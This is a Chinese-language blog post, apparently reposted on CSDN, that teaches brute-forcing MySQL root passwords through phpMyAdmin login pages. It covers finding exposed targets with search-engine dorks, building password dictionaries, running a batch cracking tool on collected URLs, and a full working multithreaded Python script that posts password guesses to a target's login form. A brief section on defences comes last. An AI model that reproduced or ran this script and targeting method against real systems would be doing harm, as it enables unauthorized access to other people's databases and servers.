你的Root账号安全吗?-看我用phpmyadmin密码暴力破解工具攻破你的系统

你的Root账号安全吗?-看我用phpmyadmin密码暴力破解工具攻破你的系统
simeon
phpmyadmin密码暴力破解是指通过指定账号和密码对mysql数据库进行登录尝试,如果字典中的密码跟实际密码匹配,则意味着密码破解成功。破解的前提是可以通过url正常登录phpmyadmin。通过phpmyadmin登录暴力破解 mysql root密码的条件有:
(1)url能够正常访问。
(2)收集和整理root密码
(3)网络通畅。
对mysql数据库root密码进行暴力密码有多款工具,目前主要分为两种,一种是针对某个IP地址进行Root密码暴力破解,另外一种就是针对多个目标进行暴力破解。下面分别进行介绍。
1.使用phpmyadmin密码暴力破解
1.1整理phpmyadmin的url地址
通过Google、百度等搜索引擎搜索phpmyadmin关键字,例如也可以搜索inurl:phpmyadmin,然后通过浏览器打开搜索出来的记录,对其进行访问,能够出现phpmyadmin登录界面的将其url地址复制下来,整理成一个url文件,如图1所示。需要注意的是phpmyadmin的url地址必须是登录phpmyadmin的地址,例如http://www.antian365.com/phpmyadmin、192.168.1.5:8080/phpmyadmin和http://www.antian365.com:8080/、192.168.1.5:8080/都是指向phpmyadmin登录地址,则以上地址均是正常地址,可以将这些地址复制到url.txt文件中。在url.txt文件中,一行为一个地址。
在这里插入图片描述
图1整理url地址
1.2整理phpmyadmin暴力破解的密码字典
密码字典是一行一个字符串或者数字等,如图2所示,本例中主要选择top100 password,在互联网上有公布的,当然也可以自行生成字典,按照要求生成字典是最好的。在实际渗透过程中将收集到的密码字典进行整理,将其增加到破解字典中其效果将会事半功倍,另外一个方法就是收集目标对象的所有信息,运行社工字典生成,其威力更大,在此不赘述。
在这里插入图片描述
图2生成字典
1.3设置phpmyadmin多线程批量破解工具
1.导入地址
运行phpmyadmin多线程批量破解工具,如图3所示,右键单击,选择“导入地址”选择刚才整理的url.txt文件。在软件中会出现整理的url地址。
在这里插入图片描述
图3导入url地址
2.设置用户字典文件
在Mysql用户名字典文件中选择设置的用户名文件,一般来说,破解对象为root,如果已知其它用户名可以添加进去,在本例中只破解root账号,因此用户字典文件中只有一行,内容为root。
3.设置MySql用户密码文件
在“MySql用户密码文件”中单击选择密码破解字典,如图4所示。一般来讲破解可以先易后难,比如先破解数字字典,然后是字母,然后是特殊字符,密码字典不宜过大,越大破解时间越长。
在这里插入图片描述
图4设置mysql用户密码文件
1.4开始暴力破解密码
如图5所示,单击“开始爆破”,程序开始自动对phpMyAdmin入口地址逐个进行破解尝试,有些地址由于网络原因可能会在状态中出现“入口失败”的提示。在软件最底端会显示破解进度,如本例中如果显示244/244则意味着破解结束。
在这里插入图片描述
图5开始暴力破解密码
1.5查看破解结果
随着时间的推进,会有一些弱口令被暴力破解,如图6所示,在软件底端显示“爆破成功【9】”则表示暴力破解成功9个目标。phpmyadmin多线程批量破解工具会自动保存破解成功的记录到文件中,该文件以“UrlSuccess”+“破解时间”进行命名,例如UrlSuccess 20170120141314.txt,打开该文件,该文件保存的是破解成功的记录,如图7所示。
在这里插入图片描述
图6查看破解结果
在这里插入图片描述
图7成功破解的记录
1.6在线登录测试以及漏洞利用
在破解UrlSuccess文件中对破解成功的url进行登录测试。有关root账号密码在phpmyadmin中的利用请参阅本专题的其它相关文章。
2.使用py脚本暴力破解指定phpmyadmin密码
(1)准备python环境
首先本机需要安装有python,其下载地址为:https://www.python.org/downloads/,根据自己的操作系统来选择python版本,一般来说选择python2.7.13比较好用。
(2)安装requests模块,安装完成后python,需要安装requests,其下载地址为:https://pypi.python.org/pypi/requests#downloads
解压requests-2.12.5.tar.gz文件后,C:\Python27为python安装路径,到C:\Python27\requests-2.12.5\requests-2.12.5\目录下执行命令:
C:\Python27\python.exe setup.py install
(3)将以下代码保存为crackPhpmyadmin.py文件

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: IcySun
# 脚本功能:暴力破解phpMyadmin密码 

from Queue import Queue
import threading,sys
import requests

def use():
    print '#' * 50
    print '\t Crack Phpmyadmin root\'s pass'
    print '\t\t\t Code By: IcySun'
    print '\t python crackPhpmyadmin.py http://xx.com/phpmyadmin/ \n\t    (default user is root)'


    print '#' * 50

def crack(password):
    global url
    payload = {'pma_username': 'root', 'pma_password': password}
    headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
    r = requests.post(url, headers = headers, data = payload)
    if 'name="login_form"' not in r.content:
        print '[*] OK! Have Got The Pass ==> %s' % password

class MyThread(threading.Thread): 
    def __init__(self): 
        threading.Thread.__init__(self) 
    def run(self): 
        global queue 
        while not queue.empty(): 
            password = queue.get() 
            crack(password)

def main():
    global url,password,queue
    queue = Queue()
    url = sys.argv[1]
    passlist = open('password.txt','r')
    for password in passlist.readlines():
        password = password.strip()
        queue.put(password)

    for i in range(10): 
        c = MyThread() 
        c.start()

if __name__ == '__main__':
    if len(sys.argv) != 2 :
        use()
    else:
        main()

(4)准备破解密码的字典文件
将密码字典命名为password.txt,并放置在crackPhpmyadmin.py脚本所在脚本。
(5)执行破解命令
在python.exe当前目录的dos命令符下执行:python crackPhpmyadmin.py http://116.255.xxx.4:8080,如果破解成功,这会显示结果,如图8所示,显示破解密码为123456。
在这里插入图片描述
图8使用python暴力破解单个密码
3.防范方法探讨
phpMyadmin密码帐号暴力破解使用的方法主要是通过字典来进行穷举登录,因此其防范方法可以采取以下措施:
(1)设置Root帐号为非缺省名称比如MyRoot等名称,通过phpMyadmin登录后可以进行修改。
(2)设置Root帐号所对应的密码为强口令,密码为大小写、特殊字符、字母等等组合体,最好超过10位数以上。
(3)在CMS系统中尽量每一个库对应相应的CMS系统帐号,各个系统之间相对独立,且默认在config.php、config.inc.php等配置文件中也是使用相对独立的库帐号,建议不使用Root帐号和密码进行配置。
(4)网站代码使用密码进行压缩打包,系统正式部署后清除无关文件。不在网站根目录下保留源代码和数据库文件等。
更多攻防内容,请访问专栏:
Web网站安全评估分析及防御
http://blog.51cto.com/cloumn/detail/15
SQLMAP从入门到精通
http://blog.51cto.com/cloumn/detail/3
密码安全攻防技术精讲
https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983

猜你喜欢

转载自blog.csdn.net/weixin_44023460/article/details/84899589